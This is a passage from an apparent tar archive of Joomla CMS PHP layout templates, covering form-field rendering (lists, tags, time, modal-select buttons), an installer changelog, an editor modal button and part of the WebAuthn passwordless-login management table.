// To avoid user's confusion, readonly="true" should imply
disabled="true".
if ($readonly || $disabled) {
$attr .= ' disabled="disabled"';
}
// Initialize JavaScript field attributes.
$attr .= !empty($onchange) ? ' onchange="' . $onchange .
'"' : '';
// Create a read-only list (no name) with a hidden input to store the
value.
if ($readonly) {
$html[] = HTMLHelper::_(
'select.groupedlist',
$groups,
null,
[
'list.attr' => $attr, 'id' => $id,
'list.select' => $value, 'group.items' => null,
'option.key.toHtml' => false,
'option.text.toHtml' => false,
]
);
// E.g. form field type tag sends $this->value as array
if ($multiple && \is_array($value)) {
if (!\count($value)) {
$value[] = '';
}
foreach ($value as $val) {
$html[] = '<input type="hidden"
name="' . $name . '" value="' .
htmlspecialchars($val, ENT_COMPAT, 'UTF-8') .
'">';
}
} else {
$html[] = '<input type="hidden" name="'
. $name . '" value="' . htmlspecialchars($value,
ENT_COMPAT, 'UTF-8') . '">';
}
} else {
// Create a regular list.
$html[] = HTMLHelper::_(
'select.groupedlist',
$groups,
$name,
[
'list.attr' => $attr, 'id' => $id,
'list.select' => $value, 'group.items' => null,
'option.key.toHtml' => false,
'option.text.toHtml' => false,
]
);
}
echo implode($html);
joomla/form/field/list.php000064400000007647151166615720011567
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2018 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\HTML\HTMLHelper;
extract($displayData);
/**
* Layout variables
* -----------------
* @var string $autocomplete Autocomplete attribute for the field.
* @var boolean $autofocus Is autofocus enabled?
* @var string $class Classes for the input.
* @var string $description Description of the field.
* @var boolean $disabled Is this field disabled?
* @var string $group Group the field belongs to.
<fields> section in form XML.
* @var boolean $hidden Is this field hidden in the form?
* @var string $hint Placeholder for the field.
* @var string $id DOM id of the field.
* @var string $label Label of the field.
* @var string $labelclass Classes to apply to the label.
* @var boolean $multiple Does this field support multiple
values?
* @var string $name Name of the input field.
* @var string $onchange Onchange attribute for the field.
* @var string $onclick Onclick attribute for the field.
* @var string $pattern Pattern (Reg Ex) of value of the form
field.
* @var boolean $readonly Is this field read only?
* @var boolean $repeat Allows extensions to duplicate
elements.
* @var boolean $required Is this field required?
* @var integer $size Size attribute of the input.
* @var boolean $spellcheck Spellcheck state for the form field.
* @var string $validate Validation rules to apply.
* @var string $value Value attribute of the field.
* @var array $options Options available for this field.
* @var string $dataAttribute Miscellaneous data attributes
preprocessed for HTML output
* @var array $dataAttributes Miscellaneous data attribute for eg,
data-*
*/
$html = [];
$attr = '';
// Initialize the field attributes.
$attr .= !empty($class) ? ' class="form-select ' . $class .
'"' : ' class="form-select"';
$attr .= !empty($size) ? ' size="' . $size .
'"' : '';
$attr .= $multiple ? ' multiple' : '';
$attr .= $required ? ' required' : '';
$attr .= $autofocus ? ' autofocus' : '';
$attr .= $onchange ? ' onchange="' . $onchange .
'"' : '';
$attr .= !empty($description) ? ' aria-describedby="' . ($id
?: $name) . '-desc"' : '';
$attr .= $dataAttribute;
// To avoid user's confusion, readonly="readonly" should
imply disabled="disabled".
if ($readonly || $disabled) {
$attr .= ' disabled="disabled"';
}
// Create a read-only list (no name) with hidden input(s) to store the
value(s).
if ($readonly) {
$html[] = HTMLHelper::_('select.genericlist', $options,
'', trim($attr), 'value', 'text', $value,
$id);
// E.g. form field type tag sends $this->value as array
if ($multiple && is_array($value)) {
if (!count($value)) {
$value[] = '';
}
foreach ($value as $val) {
$html[] = '<input type="hidden"
name="' . $name . '" value="' .
htmlspecialchars($val, ENT_COMPAT, 'UTF-8') .
'">';
}
} else {
$html[] = '<input type="hidden" id="' .
$id . '-value" name="' . $name . '"
value="' . htmlspecialchars($value, ENT_COMPAT,
'UTF-8') . '">';
}
} else // Create a regular list passing the arguments in an array.
{
$listoptions = [];
$listoptions['option.key'] = 'value';
$listoptions['option.text'] = 'text';
$listoptions['list.select'] = $value;
$listoptions['id'] = $id;
$listoptions['list.translate'] = false;
$listoptions['option.attr'] = 'optionattr';
$listoptions['list.attr'] = trim($attr);
$html[] = HTMLHelper::_('select.genericlist', $options,
$name, $listoptions);
}
echo implode($html);
joomla/form/field/modal-select/extra-buttons.php000064400000004350151166615720015770
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2023 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* The layout allows to add extra control buttons to the field, example
"propagate association" by com_content.
*
* Layout variables
* -----------------
* @var string $autocomplete Autocomplete attribute for the field.
* @var boolean $autofocus Is autofocus enabled?
* @var string $class Classes for the input.
* @var string $description Description of the field.
* @var boolean $disabled Is this field disabled?
* @var string $group Group the field belongs to.
<fields> section in form XML.
* @var boolean $hidden Is this field hidden in the form?
* @var string $hint Placeholder for the field.
* @var string $id DOM id of the field.
* @var string $label Label of the field.
* @var string $labelclass Classes to apply to the label.
* @var boolean $multiple Does this field support multiple
values?
* @var string $name Name of the input field.
* @var string $onchange Onchange attribute for the field.
* @var string $onclick Onclick attribute for the field.
* @var string $pattern Pattern (Reg Ex) of value of the form
field.
* @var boolean $readonly Is this field read only?
* @var boolean $repeat Allows extensions to duplicate
elements.
* @var boolean $required Is this field required?
* @var integer $size Size attribute of the input.
* @var boolean $spellcheck Spellcheck state for the form field.
* @var string $validate Validation rules to apply.
* @var string $value Value attribute of the field.
* @var string $dataAttribute Miscellaneous data attributes
preprocessed for HTML output
* @var array $dataAttributes Miscellaneous data attribute for eg,
data-*
* @var string $valueTitle
* @var array $canDo
* @var string[] $urls
* @var string[] $modalTitles
* @var string[] $buttonIcons
*/
joomla/form/field/modal-select/buttons.php000064400000011362151166615720014650
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2023 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;
extract($displayData);
/**
* Layout variables
* -----------------
* @var string $autocomplete Autocomplete attribute for the field.
* @var boolean $autofocus Is autofocus enabled?
* @var string $class Classes for the input.
* @var string $description Description of the field.
* @var boolean $disabled Is this field disabled?
* @var string $group Group the field belongs to.
<fields> section in form XML.
* @var boolean $hidden Is this field hidden in the form?
* @var string $hint Placeholder for the field.
* @var string $id DOM id of the field.
* @var string $label Label of the field.
* @var string $labelclass Classes to apply to the label.
* @var boolean $multiple Does this field support multiple
values?
* @var string $name Name of the input field.
* @var string $onchange Onchange attribute for the field.
* @var string $onclick Onclick attribute for the field.
* @var string $pattern Pattern (Reg Ex) of value of the form
field.
* @var boolean $readonly Is this field read only?
* @var boolean $repeat Allows extensions to duplicate
elements.
* @var boolean $required Is this field required?
* @var integer $size Size attribute of the input.
* @var boolean $spellcheck Spellcheck state for the form field.
* @var string $validate Validation rules to apply.
* @var string $value Value attribute of the field.
* @var string $dataAttribute Miscellaneous data attributes
preprocessed for HTML output
* @var array $dataAttributes Miscellaneous data attribute for eg,
data-*
* @var string $valueTitle
* @var array $canDo
* @var string[] $urls
* @var string[] $modalTitles
* @var string[] $buttonIcons
*/
// Prepare options for each Modal
$modalSelect = [
'popupType' => 'iframe',
'src' => empty($urls['select']) ?
'' : Route::_($urls['select'], false),
'textHeader' => $modalTitles['select'] ??
Text::_('JSELECT'),
];
$modalNew = [
'popupType' => 'iframe',
'src' => empty($urls['new']) ?
'' : Route::_($urls['new'], false),
'textHeader' => $modalTitles['new'] ??
Text::_('JACTION_CREATE'),
];
$modalEdit = [
'popupType' => 'iframe',
'src' => empty($urls['edit']) ?
'' : Route::_($urls['edit'], false),
'textHeader' => $modalTitles['edit'] ??
Text::_('JACTION_EDIT'),
];
// Decide when the select button always will be visible
$isSelectAlways = !empty($canDo['select']) &&
empty($canDo['clear']);
?>
<?php if ($modalSelect['src'] &&
$canDo['select'] ?? true) : ?>
<button type="button" class="btn btn-primary"
<?php echo $value && !$isSelectAlways ? 'hidden' :
''; ?>
data-button-action="select" <?php echo
!$isSelectAlways ? 'data-show-when-value=""' :
''; ?>
data-modal-config="<?php echo
$this->escape(json_encode($modalSelect, JSON_UNESCAPED_SLASHES));
?>">
<span class="<?php echo
!empty($buttonIcons['select']) ? $buttonIcons['select']
: 'icon-file'; ?>"
aria-hidden="true"></span> <?php echo
Text::_('JSELECT'); ?>
</button>
<?php endif; ?>
<?php if ($modalNew['src'] && $canDo['new']
?? false) : ?>
<button type="button" class="btn btn-secondary"
<?php echo $value ? 'hidden' : ''; ?>
data-button-action="create"
data-show-when-value=""
data-modal-config="<?php echo
$this->escape(json_encode($modalNew, JSON_UNESCAPED_SLASHES));
?>">
<span class="icon-plus"
aria-hidden="true"></span> <?php echo
Text::_('JACTION_CREATE'); ?>
</button>
<?php endif; ?>
<?php if ($modalEdit['src'] &&
$canDo['edit'] ?? false) : ?>
<button type="button" class="btn btn-primary"
<?php echo $value ? '' : 'hidden'; ?>
data-button-action="edit"
data-show-when-value="1"
data-modal-config="<?php echo
$this->escape(json_encode($modalEdit, JSON_UNESCAPED_SLASHES));
?>"
data-checkin-url="<?php echo
empty($urls['checkin']) ? '' :
Route::_($urls['checkin']); ?>">
<span class="icon-pen-square"
aria-hidden="true"></span> <?php echo
Text::_('JACTION_EDIT'); ?>
</button>
<?php endif; ?>
<?php if ($canDo['clear'] ?? true) : ?>
<button type="button" class="btn btn-secondary"
<?php echo $value ? '' : 'hidden'; ?>
data-button-action="clear"
data-show-when-value="1">
<span class="icon-times"
aria-hidden="true"></span> <?php echo
Text::_('JCLEAR'); ?>
</button>
<?php endif; ?>
joomla/form/field/modal-select.php000064400000006742151166615720013160
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2023 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Factory;
extract($displayData);
/**
* Layout variables
* -----------------
* @var string $autocomplete Autocomplete attribute for the field.
* @var boolean $autofocus Is autofocus enabled?
* @var string $class Classes for the input.
* @var string $description Description of the field.
* @var boolean $disabled Is this field disabled?
* @var string $group Group the field belongs to.
<fields> section in form XML.
* @var boolean $hidden Is this field hidden in the form?
* @var string $hint Placeholder for the field.
* @var string $id DOM id of the field.
* @var string $label Label of the field.
* @var string $labelclass Classes to apply to the label.
* @var boolean $multiple Does this field support multiple
values?
* @var string $name Name of the input field.
* @var string $onchange Onchange attribute for the field.
* @var string $onclick Onclick attribute for the field.
* @var string $pattern Pattern (Reg Ex) of value of the form
field.
* @var boolean $readonly Is this field read only?
* @var boolean $repeat Allows extensions to duplicate
elements.
* @var boolean $required Is this field required?
* @var integer $size Size attribute of the input.
* @var boolean $spellcheck Spellcheck state for the form field.
* @var string $validate Validation rules to apply.
* @var string $value Value attribute of the field.
* @var string $dataAttribute Miscellaneous data attributes
preprocessed for HTML output
* @var array $dataAttributes Miscellaneous data attribute for eg,
data-*
* @var string $valueTitle
* @var array $canDo
* @var string[] $urls
* @var string[] $modalTitles
* @var string[] $buttonIcons
*/
// Add the field script
if (!$readonly && !$disabled) {
/** @var \Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa =
Factory::getApplication()->getDocument()->getWebAssetManager();
$wa->useScript('modal-content-select-field');
}
$fieldClass = $required ? 'required modal-value' : '';
?>
<div class="js-modal-content-select-field <?php echo $class;
?>" <?php echo $dataAttribute; ?>>
<div class="input-group">
<input class="form-control js-input-title"
type="text" value="<?php echo
$this->escape($valueTitle ?? $value); ?>" readonly
id="<?php echo $id; ?>" name="<?php
echo $name; ?>"
placeholder="<?php echo $this->escape($hint);
?>"/>
<?php if (!$readonly && !$disabled) :
echo $this->sublayout('buttons', $displayData);
// The "extra-buttons" layout allows to add extra
control buttons to the field, example "propagate association" by
com_content
echo $this->sublayout('extra-buttons',
$displayData);
endif; ?>
</div>
<input type="hidden" id="<?php echo $id;
?>_id" class="<?php echo $fieldClass; ?>
js-input-value" data-required="<?php echo (int) $required;
?>"
name="<?php echo $name; ?>" value="<?php
echo $this->escape($value); ?>"<?php echo $onchange ? '
onchange="' . $onchange . '"' : '';
?> />
</div>
joomla/form/field/groupedlist-fancy-select.php000064400000010643151166615720015516
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2021 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
extract($displayData);
/**
* Layout variables
* -----------------
* @var string $autocomplete Autocomplete attribute for the field.
* @var boolean $autofocus Is autofocus enabled?
* @var string $class Classes for the input.
* @var string $description Description of the field.
* @var boolean $disabled Is this field disabled?
* @var string $group Group the field belongs to.
<fields> section in form XML.
* @var boolean $hidden Is this field hidden in the form?
* @var string $hint Placeholder for the field.
* @var string $id DOM id of the field.
* @var string $label Label of the field.
* @var string $labelclass Classes to apply to the label.
* @var boolean $multiple Does this field support multiple
values?
* @var string $name Name of the input field.
* @var string $onchange Onchange attribute for the field.
* @var string $onclick Onclick attribute for the field.
* @var string $pattern Pattern (Reg Ex) of value of the form
field.
* @var boolean $readonly Is this field read only?
* @var boolean $repeat Allows extensions to duplicate
elements.
* @var boolean $required Is this field required?
* @var integer $size Size attribute of the input.
* @var boolean $spellcheck Spellcheck state for the form field.
* @var string $validate Validation rules to apply.
* @var string $value Value attribute of the field.
* @var array $groups Groups of options available for this
field.
* @var string $dataAttribute Miscellaneous data attributes
preprocessed for HTML output
* @var array $dataAttributes Miscellaneous data attribute for eg,
data-*
*/
$html = [];
$attr = '';
// Initialize some field attributes.
$attr .= !empty($size) ? ' size="' . $size .
'"' : '';
$attr .= $multiple ? ' multiple' : '';
$attr .= $autofocus ? ' autofocus' : '';
$attr .= $dataAttribute;
// To avoid user's confusion, readonly="true" should imply
disabled="true".
if ($readonly || $disabled) {
$attr .= ' disabled="disabled"';
}
// Initialize JavaScript field attributes.
$attr .= !empty($onchange) ? ' onchange="' . $onchange .
'"' : '';
$attr2 = '';
$attr2 .= !empty($class) ? ' class="' . $class .
'"' : '';
$attr2 .= ' placeholder="' . $this->escape($hint ?:
Text::_('JGLOBAL_TYPE_OR_SELECT_SOME_OPTIONS')) . '"
';
if ($required) {
$attr .= ' required class="required"';
$attr2 .= ' required';
}
// Create a read-only list (no name) with a hidden input to store the
value.
if ($readonly) {
$html[] = HTMLHelper::_(
'select.groupedlist',
$groups,
null,
[
'list.attr' => $attr, 'id' => $id,
'list.select' => $value, 'group.items' => null,
'option.key.toHtml' => false,
'option.text.toHtml' => false,
]
);
// E.g. form field type tag sends $this->value as array
if ($multiple && \is_array($value)) {
if (!\count($value)) {
$value[] = '';
}
foreach ($value as $val) {
$html[] = '<input type="hidden"
name="' . $name . '" value="' .
htmlspecialchars($val, ENT_COMPAT, 'UTF-8') .
'">';
}
} else {
$html[] = '<input type="hidden" name="'
. $name . '" value="' . htmlspecialchars($value,
ENT_COMPAT, 'UTF-8') . '">';
}
} else {
// Create a regular list.
$html[] = HTMLHelper::_(
'select.groupedlist',
$groups,
$name,
[
'list.attr' => $attr, 'id' => $id,
'list.select' => $value, 'group.items' => null,
'option.key.toHtml' => false,
'option.text.toHtml' => false,
]
);
}
Text::script('JGLOBAL_SELECT_NO_RESULTS_MATCH');
Text::script('JGLOBAL_SELECT_PRESS_TO_SELECT');
Factory::getApplication()->getDocument()->getWebAssetManager()
->usePreset('choicesjs')
->useScript('webcomponent.field-fancy-select');
?>
<joomla-field-fancy-select <?php echo $attr2; ?>><?php echo
implode($html); ?></joomla-field-fancy-select>
joomla/form/field/tag.php000064400000011434151166615730011355
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2018 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Uri\Uri;
extract($displayData);
/**
* Layout variables
* -----------------
* @var string $autocomplete Autocomplete attribute for the field.
* @var boolean $autofocus Is autofocus enabled?
* @var string $class Classes for the input.
* @var string $description Description of the field.
* @var boolean $disabled Is this field disabled?
* @var string $group Group the field belongs to.
<fields> section in form XML.
* @var boolean $hidden Is this field hidden in the form?
* @var string $hint Placeholder for the field.
* @var string $id DOM id of the field.
* @var string $label Label of the field.
* @var string $labelclass Classes to apply to the label.
* @var boolean $multiple Does this field support multiple
values?
* @var string $name Name of the input field.
* @var string $onchange Onchange attribute for the field.
* @var string $onclick Onclick attribute for the field.
* @var string $pattern Pattern (Reg Ex) of value of the form
field.
* @var boolean $readonly Is this field read only?
* @var boolean $repeat Allows extensions to duplicate
elements.
* @var boolean $required Is this field required?
* @var integer $size Size attribute of the input.
* @var boolean $spellcheck Spellcheck state for the form field.
* @var string $validate Validation rules to apply.
* @var string $value Value attribute of the field.
* @var array $checkedOptions Options that will be set as checked.
* @var boolean $hasValue Has this field a value assigned?
* @var array $options Options available for this field.
* @var array $inputType Options available for this field.
* @var boolean $allowCustom Flag, to allow add custom values
* @var boolean $remoteSearch Flag, to enable remote search
* @var integer $minTermLength Minimum length of the term to start
searching
* @var string $dataAttribute Miscellaneous data attributes
preprocessed for HTML output
* @var array $dataAttributes Miscellaneous data attributes for eg,
data-*.
*/
$html = [];
$attr = '';
// Initialize some field attributes.
$attr .= $multiple ? ' multiple' : '';
$attr .= $autofocus ? ' autofocus' : '';
$attr .= $onchange ? ' onchange="' . $onchange .
'"' : '';
$attr .= $dataAttribute;
// To avoid user's confusion, readonly="readonly" should
imply disabled="disabled".
if ($readonly || $disabled) {
$attr .= ' disabled="disabled"';
}
$attr2 = '';
$attr2 .= !empty($class) ? ' class="' . $class .
'"' : '';
$attr2 .= ' placeholder="' . $this->escape($hint ?:
Text::_('JGLOBAL_TYPE_OR_SELECT_SOME_TAGS')) . '"
';
$attr2 .= $dataAttribute;
if ($allowCustom) {
$attr2 .= $allowCustom ? ' allow-custom' : '';
$attr2 .= $allowCustom ? ' new-item-prefix="#new#"'
: '';
}
if ($remoteSearch) {
$attr2 .= ' remote-search';
$attr2 .= ' url="' . Uri::root(true) .
'/index.php?option=com_tags&task=tags.searchAjax"';
$attr2 .= ' term-key="like"';
$attr2 .= ' min-term-length="' . $minTermLength .
'"';
}
if ($required) {
$attr .= ' required class="required"';
$attr2 .= ' required';
}
// Create a read-only list (no name) with hidden input(s) to store the
value(s).
if ($readonly) {
$html[] = HTMLHelper::_('select.genericlist', $options,
'', trim($attr), 'value', 'text', $value,
$id);
// E.g. form field type tag sends $this->value as array
if ($multiple && is_array($value)) {
if (!count($value)) {
$value[] = '';
}
foreach ($value as $val) {
$html[] = '<input type="hidden"
name="' . $name . '" value="' .
htmlspecialchars($val, ENT_COMPAT, 'UTF-8') .
'">';
}
} else {
$html[] = '<input type="hidden" name="'
. $name . '" value="' . htmlspecialchars($value,
ENT_COMPAT, 'UTF-8') . '">';
}
} else // Create a regular list.
{
$html[] = HTMLHelper::_('select.genericlist', $options,
$name, trim($attr), 'value', 'text', $value, $id);
}
Text::script('JGLOBAL_SELECT_NO_RESULTS_MATCH');
Text::script('JGLOBAL_SELECT_PRESS_TO_SELECT');
Factory::getDocument()->getWebAssetManager()
->usePreset('choicesjs')
->useScript('webcomponent.field-fancy-select');
?>
<joomla-field-fancy-select <?php echo $attr2; ?>><?php echo
implode($html); ?></joomla-field-fancy-select>
joomla/form/field/media/accessiblemedia.php000064400000000735151166615730014760
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2020 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
extract($displayData);
$form = $forms[0];
$formfields = $form->getGroup('');
?>
<div class="subform-wrapper">
<?php foreach ($formfields as $field) : ?>
<?php echo $field->renderField(); ?>
<?php endforeach; ?>
</div>
joomla/form/field/time.php000064400000005756151166615750011554
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2019 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* @var array $displayData Array with values.
*/
extract($displayData);
/**
* Layout variables
* -----------------
* @var boolean $autofocus Is autofocus enabled?
* @var string $class Classes for the input.
* @var string $description Description of the field.
* @var boolean $disabled Is this field disabled?
* @var string $group Group the field belongs to.
<fields> section in form XML.
* @var boolean $hidden Is this field hidden in the form?
* @var string $hint Placeholder for the field.
* @var string $id DOM id of the field.
* @var string $label Label of the field.
* @var string $labelclass Classes to apply to the label.
* @var boolean $multiple Does this field support multiple values?
* @var string $name Name of the input field.
* @var string $onchange Onchange attribute for the field.
* @var string $onclick Onclick attribute for the field.
* @var string $pattern Pattern (Reg Ex) of value of the form
field.
* @var boolean $readonly Is this field read only?
* @var boolean $repeat Allows extensions to duplicate elements.
* @var boolean $required Is this field required?
* @var boolean $spellcheck Spellcheck state for the form field.
* @var string $validate Validation rules to apply.
* @var string $value Value attribute of the field.
* @var array $checkedOptions Options that will be set as checked.
* @var boolean $hasValue Has this field a value assigned?
* @var array $options Options available for this field.
* @var array $inputType Options available for this field.
* @var string $accept File types that are accepted.
* @var string $dataAttribute Miscellaneous data attributes
preprocessed for HTML output
* @var array $dataAttributes Miscellaneous data attribute for eg,
data-*.
*/
$attributes = [
!empty($class) ? 'class="form-control ' . $class .
'"' : 'class="form-control"',
!empty($description) ? 'aria-describedby="' . ($id ?:
$name) . '-desc"' : '',
$disabled ? 'disabled' : '',
$readonly ? 'readonly' : '',
strlen($hint) ? 'placeholder="' .
htmlspecialchars($hint, ENT_COMPAT, 'UTF-8') . '"'
: '',
!empty($onchange) ? 'onchange="' . $onchange .
'"' : '',
isset($max) ? 'max="' . $max . '"' :
'',
isset($step) ? 'step="' . $step . '"' :
'',
isset($min) ? 'min="' . $min . '"' :
'',
$required ? 'required' : '',
$autofocus ? 'autofocus' : '',
$dataAttribute,
];
?>
<input
type="time"
name="<?php echo $name; ?>"
id="<?php echo $id; ?>"
value="<?php echo $value ?>"
<?php echo implode(' ', $attributes); ?>>
joomla/installer/changelog.php000064400000003214151166615750012477
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2019 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
use Joomla\CMS\Language\Text;
defined('_JEXEC') or die;
array_walk(
$displayData,
function ($items, $changeType) {
// If there are no items, continue
if (empty($items)) {
return;
}
switch ($changeType) {
case 'security':
$class = 'bg-danger';
break;
case 'fix':
$class = 'bg-dark';
break;
case 'language':
$class = 'bg-primary';
break;
case 'addition':
$class = 'bg-success';
break;
case 'change':
$class = 'bg-warning';
break;
case 'remove':
$class = 'bg-secondary';
break;
default:
case 'note':
$class = 'bg-info';
break;
}
?>
<div class="changelog">
<div class="changelog__item">
<div class="changelog__tag">
<span class="badge <?php echo $class;
?>"><?php echo Text::_('COM_INSTALLER_CHANGELOG_' .
$changeType); ?></span>
</div>
<div class="changelog__list">
<ul>
<li><?php echo
implode('</li><li>', $items); ?></li>
</ul>
</div>
</div>
</div>
<?php
}
);
joomla/editors/buttons/modal.php000064400000004354151166615750013024
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2016 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Uri\Uri;
/** @var \Joomla\CMS\Editor\Button\Button $button */
$button = $displayData;
if (!$button->get('modal')) {
return;
}
$class = ($button->get('class')) ?
$button->get('class') : null;
$class .= ($button->get('modal')) ? '
modal-button' : null;
$href = '#' . $button->get('editor') .
'_' . strtolower($button->get('name')) .
'_modal';
$link = ($button->get('link')) ? Uri::base() .
$button->get('link') : null;
$onclick = ($button->get('onclick')) ? '
onclick="' . $button->get('onclick') .
'"' : '';
$title = ($button->get('title')) ?
$button->get('title') : $button->get('text');
$options = $button->getOptions();
$confirm = '';
if (is_array($button->get('options')) &&
isset($options['confirmText']) &&
isset($options['confirmCallback'])) {
$confirm = '<button type="button" class="btn
btn-success" data-bs-dismiss="modal" onclick="' .
$options['confirmCallback'] . '">'
. $options['confirmText'] . ' </button>';
}
if (null !== $button->get('id')) {
$id = str_replace(' ', '',
$button->get('id'));
} else {
$id = $button->get('editor') . '_' .
strtolower($button->get('name')) . '_modal';
}
// @todo: J4: Move Make buttons fullscreen on smaller devices per
https://github.com/joomla/joomla-cms/pull/23091
// Create the modal
echo HTMLHelper::_(
'bootstrap.renderModal',
$id,
[
'url' => $link,
'title' => $title,
'height' => array_key_exists('height',
$options) ? $options['height'] : '400px',
'width' => array_key_exists('width',
$options) ? $options['width'] : '800px',
'bodyHeight' =>
array_key_exists('bodyHeight', $options) ?
$options['bodyHeight'] : '70',
'modalWidth' =>
array_key_exists('modalWidth', $options) ?
$options['modalWidth'] : '80',
'footer' => $confirm . '<button
type="button" class="btn btn-secondary"
data-bs-dismiss="modal">'
. Text::_('JLIB_HTML_BEHAVIOR_CLOSE') .
'</button>'
]
);
plugins/system/webauthn/manage.php000064400000013221151166615750013343
0ustar00<?php
/**
* @package Joomla.Plugin
* @subpackage System.webauthn
*
* @copyright (C) 2020 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\FileLayout;
use Joomla\CMS\User\User;
use Webauthn\PublicKeyCredentialSource;
/**
* Passwordless Login management interface
*
* Generic data
*
* @var FileLayout $this The Joomla layout renderer
* @var array $displayData The data in array format. DO NOT USE.
*
* Layout specific data
*
* @var User $user The Joomla user whose
passwordless login we are managing
* @var bool $allow_add Are we allowed to add
passwordless login methods
* @var array $credentials The already stored credentials
for the user
* @var string $error Any error messages
* @var array $knownAuthenticators Known authenticator metadata
* @var boolean $attestationSupport Is authenticator attestation
supported in the plugin?
*/
// Extract the data. Do not remove until the unset() line.
try {
$app = Factory::getApplication();
$loggedInUser = $app->getIdentity();
$app->getDocument()->getWebAssetManager()
->registerAndUseStyle('plg_system_webauthn.backend',
'plg_system_webauthn/backend.css');
} catch (Exception $e) {
$loggedInUser = new User();
}
$defaultDisplayData = [
'user' => $loggedInUser,
'allow_add' => false,
'credentials' => [],
'error' => '',
'knownAuthenticators' => [],
'attestationSupport' => true,
];
extract(array_merge($defaultDisplayData, $displayData));
if ($displayData['allow_add'] === false) {
$error =
Text::_('PLG_SYSTEM_WEBAUTHN_CANNOT_ADD_FOR_A_USER');
$allow_add = false;
}
// Ensure the GMP or BCmath extension is loaded in PHP - as this is
required by third party library
if ($allow_add && function_exists('gmp_intval') === false
&& function_exists('bccomp') === false) {
$error = Text::_('PLG_SYSTEM_WEBAUTHN_REQUIRES_GMP');
$allow_add = false;
}
Text::script('JGLOBAL_CONFIRM_DELETE');
HTMLHelper::_('bootstrap.tooltip',
'.plg_system_webauth-has-tooltip');
?>
<div class="plg_system_webauthn"
id="plg_system_webauthn-management-interface">
<?php
if (is_string($error) && !empty($error)) : ?>
<div class="alert alert-danger">
<?php echo htmlentities($error) ?>
</div>
<?php endif; ?>
<table class="table table-striped">
<caption class="visually-hidden">
<?php echo
Text::_('PLG_SYSTEM_WEBAUTHN_TABLE_CAPTION'); ?>,
</caption>
<thead class="table-dark">
<tr>
<th <?php if ($attestationSupport) :
?>colspan="2"<?php
endif; ?> scope="col">
<?php echo
Text::_('PLG_SYSTEM_WEBAUTHN_MANAGE_FIELD_KEYLABEL_LABEL') ?>
</th>
<th scope="col"><?php echo
Text::_('PLG_SYSTEM_WEBAUTHN_MANAGE_HEADER_ACTIONS_LABEL')
?></th>
</tr>
</thead>
<tbody>
<?php
foreach ($credentials as $method) : ?>
<tr data-credential_id="<?php echo
$method['id'] ?>">
<?php
if ($attestationSupport) :
$aaguid = ($method['credential'] instanceof
PublicKeyCredentialSource) ?
$method['credential']->getAaguid() : '';
$authMetadata =
$knownAuthenticators[$aaguid->toString()] ??
$knownAuthenticators[''];
?>
<td class="text-center">
<img class="plg_system_webauth-has-tooltip
bg-secondary"
style="max-width: 6em; max-height: 3em"
src="<?php echo $authMetadata->icon
?>"
alt="<?php echo
$authMetadata->description ?>"
title="<?php echo
$authMetadata->description ?>">
</td>
<?php endif; ?>
<th scope="row"
class="webauthnManagementCell"><?php echo
htmlentities($method['label']) ?></th>
<td class="webauthnManagementCell">
<button class="plg_system_webauthn-manage-edit
btn btn-secondary">
<span class="icon-edit"
aria-hidden="true"></span>
<?php echo
Text::_('PLG_SYSTEM_WEBAUTHN_MANAGE_BTN_EDIT_LABEL') ?>
</button>
<button
class="plg_system_webauthn-manage-delete btn btn-danger">
<span class="icon-minus"
aria-hidden="true"></span>
<?php echo
Text::_('PLG_SYSTEM_WEBAUTHN_MANAGE_BTN_DELETE_LABEL') ?>
</button>
</td>
</tr>
<?php endforeach; ?>
<?php
if (empty($credentials)) : ?>
<tr>
<td colspan="<?php echo $attestationSupport ?
'3' : '2'; ?>">
<?php echo
